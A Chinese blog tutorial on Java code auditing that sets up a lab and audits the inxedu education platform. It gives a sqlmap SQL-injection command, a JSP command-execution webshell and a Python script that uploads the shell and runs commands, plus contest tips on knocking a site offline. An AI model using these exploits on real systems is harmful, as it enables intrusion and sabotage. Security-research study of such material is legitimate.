Java代码审计之入门篇(一)

 

0x1 前言

java代码审计系列是我很早之前就一直在筹备的,但是由于接触JAVA比较少,所以一直在积累各种相关经验,自己也用java写了一些web项目, 熟悉了一些框架的流程,才正式开始记录自己学习java代码审计的过程。

 

0x2 java环境相关的知识

1.JDK(Java Development Kit) 是针对java开发员的产品(SDK),是整个java的核心。

组成:

  • 开发工具位于bin子目录中, 指工具和实用程序,可帮助开发、执行、调试以java编程语言编写的程序,例如,编译器javac.exe 和解释器java.exe都位于该目录中
  • java运行环境位于jre子目录中,window安装的时候会提示安装jre其实没必要,因为jdk包括了。 java运行环境包括java虚拟机、类库以及其他支持执行以java编程语言编写的程序的文件。
  • 附加库位于lib子目录中, 开发工具所需的其他类库和支持文件
  • C头文件
  • 源代码

2.JRE(Java Runtime Environment) 是运行java程序所必须的环境集合,包含JVM标准、及java核心类库。
如果我们只是要运行java程序的话其实没必要安装jdk,只需要安装JRE就可以了。

3.JVM(Java Virtual Machine) java虚拟机是整个实现跨平台的最核心部分,能够运行以java语言编写的软件程序。

他们三者的关系,可以参考这个图

4.java平台

  • Java SE(java Platform, Standard Edition) 这是标准版,基础版本。允许开发和部署在桌面、服务器、嵌入式环境和实时环境中使用的 Java 应用程序。Java SE 包含了支持 Java Web 服务开发的类。 通常拿来开发java的桌面软件
  • Java EE (Java Platform,Enterprise Edition): Java EE 是在Java SE的基础上构建的,他提供Web服务、组件模型、管理、通信API,用来实现企业级的面向服务体系结构和web2.0应用程序。
  • Java ME(Java Platform, Micro Edition): 为在移动设备和嵌入式设备(比如手机、PDA、 电视机顶盒和打印机) 上运行的运用程序提供一个健壮且灵活的环境

5.java服务器

(1) 常见的Java服务器: Tomcat 、 Weblogic、Jetty、JBoss、GlassFish等。

(2)Tomcat简介:

免费的开放源代码的web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问等很多的场合下被普遍使用,是开发和调试JSP程序的首选。

6.项目管理和构建工具Maven

Maven是一种自动构建项目的方式,可以帮助我们自动从本地和远程仓库拉取关联的jar包

 

0x3 MAC下安装java环境

0x3.1 安装MYSQL及其驱动包

这个mac自带安装了MYSQL,所以我们只要安装对应的mysql的java驱动程序,放在tomcat的lib目录下就可以。

或者放在WEB-INF下的lib目录下也可以,具体看我后面的操作

因为我的mysql是5.7.21 Homebrew 所以我们需要用到5.x的jdbc

Connector/J 5.1.48

登陆注册之后

访问下载

0x3.2 安装Tomcat

首先去官网下载最新版Tomcat9,offical download

改名放在~/Library/Apachetomcat9

 xq17@localhost  ~/Library/ApacheTomcat9  tree -L 1
.
├── BUILDING.txt
├── CONTRIBUTING.md
├── LICENSE
├── NOTICE
├── README.md
├── RELEASE-NOTES
├── RUNNING.txt //上面是使用文档和版权声明
├── bin //存放tomcat命令
├── conf // 存放tomcat配置信息,里面的server.xml是核心的配置文件
├── lib //支持tomcat软件运行的jar包和技术支持包(如servlet 和 jsp)
├── logs //运行时的日志信息
├── temp //临时目录
├── webapps //共享资源文件和web应用目录
└── work //tomcat的运行目录,jsp运行时产生的临时文件就存放在这里

我们修改下默认的启动端口,8080 改成9090,避免与我本地burp冲突

/conf/server.xml

处于安全性考虑,我们也需要配置下密码 tomcat tomcat

conf/tomcat-user.xml</tomcat-users>上面加入如下代码

<role rolename="manager-gui"/>
<user username="tomcat" password="tomcat" roles="manager-gui"/>
---

/conf/bin目录进行安装

chmod u+x *.sh
./startup.sh

0x3.3 安装IDE

为了方便调试,我安装了两个IDE,一个是eclipse(集成环境方便开发) 一个是idea(方便动态调试)

首先要配置最基础的java开发和运行环境就需要 安装jdk的8.0(一般习惯叫jdk 1.8) 通常也可以说是java8,

hombrew 安装教程 可以参考这篇文章,比较简单,我就不赘述了。

Mac OS 安装java指定版本

0x3.3.1 安装eclipse

这个可以直接去官网下载:

download.eclipse.org

然后选择development for jee那个package来安装就行了。

0x3.3.2 安装IDEA

参考这篇安装文章: Mac 安装idea以及激活方法


下面就需要配置下IDE的运行程序了。

eclipse 的话直接修改Tomcat Server 为我们安装的Tomcat就可以了。

Idea因为不是集成环境,所以我们需要用到第三方插件

按需要安装

 

0x4 小试牛刀之尝试部署项目

这里参考了国科社区师傅用的 javapms-1.4-beta.zip

(1) 直接安装

(2) IDEA 部署

我们选择import Project

然后一路默认下去就行了,打开项目之后,我们配置下运行程序Tomcat

尝试下idea强大的反编译class及其调试功能

先运行安装下

随便选一个action打一个断点就行了。

下面是几个调试中会用到的几个快捷键:
●F7 ,进入下一步,如果当前断点是一个方法,进入方法体。
●F8 ,进入下一步,但不会进入方法体内。
●Alt+Shift+F7 , 进入下一步,如果当前断点是一个方法,方法还有方法则循环进入。
●Shift+F8 ,跳出到下一个断点,也可以按F9来实现。
●Drop Frame ,当进入一个方法体想回退到方法体外可以使用该键。
我很少用快捷键,一般用鼠标就行了,或者mac上的bar就行了。不过F9我用的比较多。

 

0x5 崭露头角之因酷教育在线漏洞挖掘

这个系统我印象是比较深刻, 因为之前在那个湖湘杯的登顶赛中一方面没下载下来源码, 另外一方面自己对java的项目不熟悉所以当时做了标记,所以这次就以这个为例,顺便聊一下登顶赛维持权限的技巧。

0x5.1 安装过程

inxedu 因酷教育软件v2.0.6

源码:http://down.admin5.com/jsp/132874.html

有个安装目录详细记录了使用教程和idea的教程。

这里简单记录下:

1.执行mysql> source ./demo_inxedu_v2_0_open.sql

2.idea导入项目直接import projects,默认下去即可,等待自动解决maven依赖,可能有点慢。

3.数据库配置

修改下数据库配置

图片.png

4.配置Tomcat

Run-->Edit Configurations->Maven

图片.png

点击Run,等待安装完成即可。

前台http://127.0.0.1:82/ 
测试账号:demo@inxedu.com 111111
后台 http://127.0.0.1:82/admin 
测试账号:admin 111111

0x5.2 前置知识

这些内容我简要提取一些关键点出来。

1.目录结构分析

├── java //核心代码区
│   └── com
├── resources //资源目录,存放一些配置文件
│   └── mybatis //SQL 文件描述XML
└── webapp //就是类似/var/www/html存放一些静态文件内容
    ├── WEB-INF 
    ├── images
    ├── kindeditor
    └── static

这里重点讲下WEB-INF目录

WEB-INF是用来存储服务端配置文件信息和在服务端运行的类文件的,它下面的东西不允许客户端直接访问的。
一般会有web.xml文件(WEB项目配置文件)
通过文件读取该文件我们可以获取到这个项目的架构和配置信息(编码、过滤器、监听器…)

2.了解SpringMVC架构工作流程

1.用户发起请求->SPring MVC 前端控制器(DispathcerServlet)->处理器映射器(HandlerMapping)进行处理->根据URL选择对应的Controller
2.控制器(Controller)执行相应处理逻辑,执行完毕,Return 返回值。
3.ViewResolver解析控制器返回值->前端控制器(DispathcerSevlet)去解析->View对象
4.前端控制器(DispathcerSevlet)对View进行渲染,返回至客户端浏览器,完成请求交互

3.Mybaits

Mybatis 数据持久化框架,可以实现将应用程序的对象持久化到关系型数据库中,但是需要我们手动编写SQL语句

使用方式: 基于XML配置,将SQL语句与JAVA代码分离

容易出现的安全问题主要是在于:

在XML配置中,描述参数使用不当会导致SQL注入

1.#{} 预编译处理参数
2.${}    直接拼接sql语句

后面分析SQL注入的时候我会详细分析下这个框架的实现过程。

0x5.3 开始代码审计之旅

时间充裕,我们采取通读的审计方式, 对于框架而言,我一般是先阅读权限控制模块,然后直接通读Controller模块,然后跟踪看看, 后面你会发现很多类似的代码,从而提高通读的速度的。

0x5.3.1 权限控制流程

通过阅读web.xml

    <servlet-mapping>
        <servlet-name>springmvc</servlet-name>
        <url-pattern>/</url-pattern>

    </servlet-mapping>

可以看到这里Spring MVC前置拦截器采用的是/规则,也就是拦截所以不带后缀的请求,而/*是拦截所有请求。

我们继续跟进看下有没有自定义的控制拦截,我们读下Spring mvc配置文件

/src/main/resources/spring-mvc.xml

     <mvc:interceptors>
         <!-- 后台登录和权限的拦截器配置 -->
         <mvc:interceptor>
             <mvc:mapping path="/admin/*"/>
             <mvc:mapping path="/admin/**/*"/>
             <mvc:exclude-mapping path="/admin/main/login"/>
             <bean class="com.inxedu.os.common.intercepter.IntercepterAdmin"></bean>
         </mvc:interceptor>
         <!-- 前台网站配置拦截器配置 -->
         <mvc:interceptor>
             <mvc:mapping path="/**/*"/>
             <mvc:exclude-mapping path="/static/**/*"/>
             <mvc:exclude-mapping path="/*/ajax/**"/>
             <mvc:exclude-mapping path="/kindeditor/**/*"/>
             <bean class="com.inxedu.os.common.intercepter.LimitIntercepterForWebsite">
             </bean>
         </mvc:interceptor>
         <!-- 前台用户登录拦截器配置 -->
         <mvc:interceptor>
             <mvc:mapping path="/uc/*"/>
             <mvc:mapping path="/uc/**/*"/>
             <mvc:exclude-mapping path="/uc/tologin"/>
             <mvc:exclude-mapping path="/uc/getloginUser"/>
             <mvc:exclude-mapping path="/uc/register"/>
             <mvc:exclude-mapping path="/uc/createuser"/>
             <mvc:exclude-mapping path="/uc/login"/>
             <mvc:exclude-mapping path="/uc/passwordRecovery"/>
             <mvc:exclude-mapping path="/uc/sendEmail"/>
             <bean class="com.inxedu.os.common.intercepter.IntercepterWebLogin">
             </bean>
         </mvc:interceptor>

好家伙,我们跟进相关的类,看下拦截的流程。

com.inxedu.os.common.intercepter.IntercepterAdmin

    public boolean preHandle(HttpServletRequest request,
            HttpServletResponse response, Object handler) throws Exception {
        //获取登录的用户
        SysUser sysUser = SingletonLoginUtils.getLoginSysUser(request);
        if(sysUser==null){
            response.sendRedirect("/admin");//跳转登录页面
            return false;
        }
        //访问的路径
        String invokeUrl = request.getContextPath() + request.getServletPath();
        //获取所有的权限
        List<SysFunction> allFunctionList = (List<SysFunction>) EHCacheUtil.get(CacheConstans.SYS_ALL_USER_FUNCTION_PREFIX+sysUser.getUserId());
        if(ObjectUtils.isNull(allFunctionList)){
            allFunctionList = sysFunctionService.queryAllSysFunction();
            EHCacheUtil.set(CacheConstans.SYS_ALL_USER_FUNCTION_PREFIX+sysUser.getUserId(),allFunctionList);
        }
        //判断当前访问的权限,是否在限制中
        boolean hasFunction = false;
        for(SysFunction sf : allFunctionList){
            if(sf.getFunctionUrl()!=null && sf.getFunctionUrl().trim().length()>0 && invokeUrl.indexOf(sf.getFunctionUrl())!=-1){
                hasFunction = true;
            }
        }
        //如果当前访问的权限不在限制中,直接允许通过
        if(!hasFunction){
            return true;
        }
        //如果当前访问的权限在限制中则判断是否有访问权限
        List<SysFunction> userFunctionList = (List<SysFunction>) EHCacheUtil.get(CacheConstans.USER_FUNCTION_PREFIX+sysUser.getUserId());
        if(userFunctionList==null || userFunctionList.size()==0){
            userFunctionList = sysFunctionService.querySysUserFunction(sysUser.getUserId());
            EHCacheUtil.set(CacheConstans.USER_FUNCTION_PREFIX+sysUser.getUserId(), userFunctionList);
        }
        boolean flag = false;
        if(ObjectUtils.isNotNull(userFunctionList)){
            for(SysFunction usf : userFunctionList){
                //如果用户有访问权限
                if(invokeUrl.indexOf(usf.getFunctionUrl())!=-1 && usf.getFunctionUrl()!=null && usf.getFunctionUrl().trim().length()>0){
                    flag=true;
                    break;
                }
            }
        }

继续跟进下:SingletonLoginUtils.getLoginSysUser

    public static SysUser getLoginSysUser(HttpServletRequest request) {
        String userKey = WebUtils.getCookie(request, CacheConstans.LOGIN_MEMCACHE_PREFIX);
        if (StringUtils.isNotEmpty(userKey)) {
            SysUser sysUser = (SysUser) EHCacheUtil.get(userKey);
            if (ObjectUtils.isNotNull(sysUser)) {
                return sysUser;
            }
        }
        return null;
    }

这里获取了Cookie的值解析出了userKey,至于这个可不可以伪造,我们跟下来源

/src/main/java/com/inxedu/os/edu/controller/main/LoginController.java

    @RequestMapping("/main/login")
    public ModelAndView login(HttpServletRequest request,HttpServletResponse response,@ModelAttribute("sysUser") SysUser sysUser){
...............
    request.getSession().removeAttribute(CommonConstants.RAND_CODE);
            sysUser.setLoginPwd(MD5.getMD5(sysUser.getLoginPwd()));
            SysUser su = sysUserService.queryLoginUser(sysUser);
            if(su==null){
                model.addObject("message", "用户名或密码错误!");
                return model;
            }
            //判断用户是否是可用状态
            if(su.getStatus()!=0){
                model.addObject("message", "该用户已经冻结!");
                return model;
            }
            //缓存用登录信息
            EHCacheUtil.set(CacheConstans.LOGIN_MEMCACHE_PREFIX+su.getUserId(), su);
            //request.getSession().setAttribute(CacheConstans.LOGIN_MEMCACHE_PREFIX+su.getUserId(),su );
            WebUtils.setCookie(response, CacheConstans.LOGIN_MEMCACHE_PREFIX, CacheConstans.LOGIN_MEMCACHE_PREFIX+su.getUserId(), 1);

            //修改用户登录记录
            sysUserService.updateUserLoginLog(su.getUserId(), new Date(), WebUtils.getIpAddr(request));

            //添加登录记录
            SysUserLoginLog loginLog = new SysUserLoginLog();
            loginLog.setUserId(su.getUserId());//用户ID
            loginLog.setLoginTime(new Date());//
            loginLog.setIp(WebUtils.getIpAddr(request));//登录IP
            String userAgent = WebUtils.getUserAgent(request);
            if(StringUtils.isNotEmpty(userAgent)){
                loginLog.setUserAgent(userAgent.split(";")[0]);//浏览器
                loginLog.setOsName(userAgent.split(";")[1]);//操作系统
            }
            //保存登录日志
            sysUserLoginLogService.createLoginLog(loginLog);
            model.setViewName(loginSuccess);
        }catch (Exception e) {
            model.addObject("message", "系统繁忙,请稍后再操作!");
            logger.error("login()--error",e);
        }
        return model;
    }
}

这里可以看到登陆信息是经过数据库对比判断后缓存在服务端,并且在服务端验证的,除非加密算法可逆,要不然就没办法越权,这个后面可以细跟,鉴于文章篇幅,这里不做探讨。

0x5.3.2 前台功能审计

上面我们排除了简单的越权可能性, 所以我们可以集中精力围绕在前台功能点。

前台SQL注入挖掘思路

这套系统采用的是Mybatis框架

Java Mybatis框架入门教程

src/main/java/com/inxedu/os/app/controller/user/AppUserController.java

@Controller
@RequestMapping("/webapp")
public class AppUserController extends BaseController{
..........
@RequestMapping("/deleteFaveorite")
    @ResponseBody
    public Map<String, Object> deleteFavorite(HttpServletRequest request){
        Map<String, Object> json=new HashMap<String, Object>();
        try{
            String id=request.getParameter("id");
            if(id==null||id.trim().equals("")){
                json=setJson(false, "id不能为空", null);
                return json;
            }
            courseFavoritesService.deleteCourseFavoritesById(id);
            json=setJson(true, "取消收藏成功", null);
        }catch (Exception e) {
            json=setJson(false, "异常", null);
            logger.error("deleteFavorite()---error",e);
        }
        return json;
    }
  ....................
}

这个主类入口是webapp,所以我们访问/webapp/deleteFaveorite,就能访问到该控制器,/webapp 并没有拦截器处理,所以我们可以直接不带cookie访问。

可以看到直接获取了id值,然后进入了courseFavoritesService.deleteCourseFavoritesById(id)

我们继续跟进:deleteCourseFavoritesById

src/main/java/com/inxedu/os/edu/dao/impl/course/CourseFavoritesDaoImpl.java

package com.inxedu.os.edu.dao.impl.course;

import java.util.List;
import java.util.Map;

import org.springframework.stereotype.Repository;

import com.inxedu.os.common.dao.GenericDaoImpl;
import com.inxedu.os.common.entity.PageEntity;
import com.inxedu.os.edu.dao.course.CourseFavoritesDao;
import com.inxedu.os.edu.entity.course.CourseFavorites;
import com.inxedu.os.edu.entity.course.FavouriteCourseDTO;

/**
 *
 * CourseFavorites
 * @author www.inxedu.com
 */
 @Repository("courseFavoritesDao")
public class CourseFavoritesDaoImpl extends GenericDaoImpl implements CourseFavoritesDao {



    public void deleteCourseFavoritesById(String ids) {
        this.delete("CourseFavoritesMapper.deleteCourseFavoritesById", ids);
    // 这里就会寻找CourseFavoritesMapper.deleteCourseFavoritesById
    // 对应的XML文件
    // course/CourseFavoritesMapper.xml 中对应的
    // deleteCourseFavoritesById 自定义语句
    }


    public int checkFavorites(Map<String, Object> map) {
        return this.selectOne("CourseFavoritesMapper.checkFavorites", map);
    }


    public List<FavouriteCourseDTO> queryFavoritesPage(int userId, PageEntity page) {
        return this.queryForListPage("CourseFavoritesMapper.queryFavoritesPage", userId, page);
    }


}

src/main/resources/mybatis/inxedu/course/CourseFavoritesMapper.xml

    <!-- 删除收藏 -->
    <delete id="deleteCourseFavoritesById" parameterType="String">
    DELETE FROM EDU_COURSE_FAVORITES WHERE ID  IN  (${value})
    </delete>

我们可以看到这里拼接值是String类型,${value}采取的是直接拼接SQL语句的方法,至于为什么不采取#{}拼接方式, 因为这里想拼接的是数字类型,而#{}拼接方式默认都会两边带上'',其实解决方案就是自己可以再加一层数字判断即可。

我们可以直接采取SQLMAP来验证,然后check一下控制台执行的SQL就可以二次确认了。

sqlmap -u "http://127.0.0.1:82//webapp/deleteFaveorite?id=1*"

图片.png

图片.png

关于这个点触发点比较多,有兴趣读者可以自行跟一下。

读者如果对此还是不甚了解,Mybatis从认识到了解 ,可以先阅读下此文。

任意文件上传挖掘思路

/src/main/java/com/inxedu/os/common/controller/VideoUploadController.java

@Controller
@RequestMapping("/video")
public class VideoUploadController extends BaseController{
................

    /**
     * 视频上传
     */
    @RequestMapping(value="/uploadvideo",method={RequestMethod.POST})
    public String gok4(HttpServletRequest request,HttpServletResponse response,@RequestParam(value="uploadfile" ,required=true) MultipartFile uploadfile,
            @RequestParam(value="param",required=false) String param,
            @RequestParam(value="fileType",required=true) String fileType){
        try{

            String[] type = fileType.split(",");
            //设置图片类型
            setFileTypeList(type);
            //获取上传文件类型的扩展名,先得到.的位置,再截取从.的下一个位置到文件的最后,最后得到扩展名
            String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
            if(!fileType.contains(ext)){
                return responseErrorData(response,1,"文件格式错误,上传失败。");
            }
            //获取文件路径
            String filePath = getPath(request,ext,param);
            File file = new File(getProjectRootDirPath(request)+filePath);

            //如果目录不存在,则创建
            if(!file.getParentFile().exists()){
                file.getParentFile().mkdirs();
            }
            //保存文件
            uploadfile.transferTo(file);
            //返回数据

            return responseData(filePath,0,"上传成功",response);
        }catch (Exception e) {
            logger.error("gok4()--error",e);
            return responseErrorData(response,2,"系统繁忙,上传失败");
        }
    }
..........................

}

图片.png

我们跟进下getPath函数

    private String getPath(HttpServletRequest request,String ext,String param){
        String filePath = "/images/upload/";
        if(param!=null && param.trim().length()>0){
            filePath+=param; //这里直接拼接param,所以我们这里可以任意跳转目录
        }else{
            filePath+=CommonConstants.projectName;
        }
        filePath+="/"+ DateUtils.toString(new Date(), "yyyyMMdd")+"/"+System.currentTimeMillis()+"."+ext;
        return filePath;
    }

图片.png

接着访问下:

http://127.0.0.1:82/images/upload/20200127/1580125876609.jsp?i=ls

图片.png

我们已经拿到没有回显的shell了。

 

0x6 登顶赛维持权限小技巧

上次打湖湘杯下午场第一次接触登顶赛这种类型, 当时脑子都是在想什么高端操作,什么修改权限,秒修漏洞啥的,赛后出来我才明白,最简单最傻b的方法往往最有效。

  1. 通过漏洞拿到webshell
  2. 直接修改网站配置文件,修改数据库配置让网站挂掉,让功能没办法访问,自己记得修改了什么地方。
  3. 写脚本不断发包去生成webshell,然后去请求,执行修改文件内容为你的队名的操作。

(这里要跑两个线程一个是请求生成shell,一个是稳定shell)

  1. 接近判断时间的时候,让网站正常回来即可。

下面是我自己写的简陋版本,后面我会将其框架化,并加入session管理。

这里要注意shell这样来拼接,要不然echo命令用不了:

<%Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")});%>

#!/usr/bin/python
# -*- coding:utf-8 -*-

import requests
import urllib.parse
import re
import threading

debug = True

def g1(host):
    url = 'http://' + host + '/' +'video/uploadvideo?&param=temp&fileType=jsp'
    # 这里需要修改下shell名字,上传name等配置
    files = {'uploadfile': ('shell.jsp', open('shell.jsp', 'rb'))}
    if debug:
        print("url:n" + url)
        print(files)
    rText = requests.post(url, files=files, timeout=5).text
    # 这里是shell路径匹配正则
    shellRegex = re.compile('"url":"(.*?)"')
    if(shellRegex.search(rText)):
        shellPath = shellRegex.search(rText)[1]
        if debug:
            print("shellPath:n" + shellPath)
        # 开始拼接shell
        shellURL = 'http://' + host + shellPath
        if debug:
            print("shellURL:n" + shellURL )
        print("[+]Success,get Shell: {}".format(shellURL))
        return shellURL
    else:
        print("[-] Error, no shell!!!")
        return False

def getShell(host):
    print("[+]Staring getShell.....".center(100,'*'))
    shellList = []
    # request 发包
    s1 = g1(host)
    # socket 自定义协议包发送
    # s2 = g2(url)
    if(s1):
        shellList.append(s1)
    return shellList

def requestShell(shellURL, cmd, password):
    print("[+]Staring requestShell.....".center(100,'='))
    # 检查shell存活性
    if debug:
        print(shellURL)
    for u in shellURL:
        code = requests.get(u).status_code
        if(code != 404):
            # 开始创建请求线程
            print("[+] now, subThread requesting......")
            t = threading.Thread(target=work, args=(u, cmd, password,))
            t.start()
            t.join()
            return True
        else:
            print("[-]Error,404,shell:{}".format(u))
            return False


def work(u, cmd, password):
    print("work Function................")
    param = urllib.parse.quote('?' + password + '=' + cmd,safe='/?&=', encoding=None, errors=None)
    url = u + param
    if debug:
        print(url)
    r = requests.get(url, timeout=5)
    if(r.status_code == 200):
        print("[+]Success, Execute CMD!!!")
        return True
    else:
        print("[-]Error, Execute CMD Failed!!")

def attack(url):
    shellURL = getShell(url)
    # 执行的命令
    cmd = '''echo "123">/tmp/shell.txt ''';
    # 连接shell的参数
    password = 'cmd'
    if(shellURL):
        for i in range(2):
            print("n Staring Fuzz:{} n".format(str(i)).center(100,'+'))
            result = requestShell(shellURL, cmd, password)
        if(result):
            print("[+] Success,cmd:{}".format(cmd))
        else:
            print("[-] Error!")
    else:
        print("[-] Error, getshell failed!")

def main():
    Target = ['127.0.0.1:82']
    # 这里可以进行多线程优化,针对批量目标的时候
    for host in Target:
        attack(host)

if __name__ == '__main__':
    main()

shell.jsp

<%Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")});%>

图片.png

 

0x7 总结

这套系统还有很多值得深入挖掘的点,值得我再去细细分析, 后面的系列我依然会围绕这个系统来展开,探究更多java漏洞的可能性,本文更多的是一种萌新开门篇,重点在配置环境,然后粗浅介绍下系统的漏洞,让读者有直观的现象, 后面我将会从各种底层框架的使用来分析安全成因,并尝试去挖掘一些新的漏洞。

 

0x8 参考链接

java代码审计文章集合

JDK、JRE、JVM三者间的关系

Mac系统安装和配置tomcat步骤详解

JAVA代码审计 | 因酷网校在线教育系统

SSM框架审计

(完)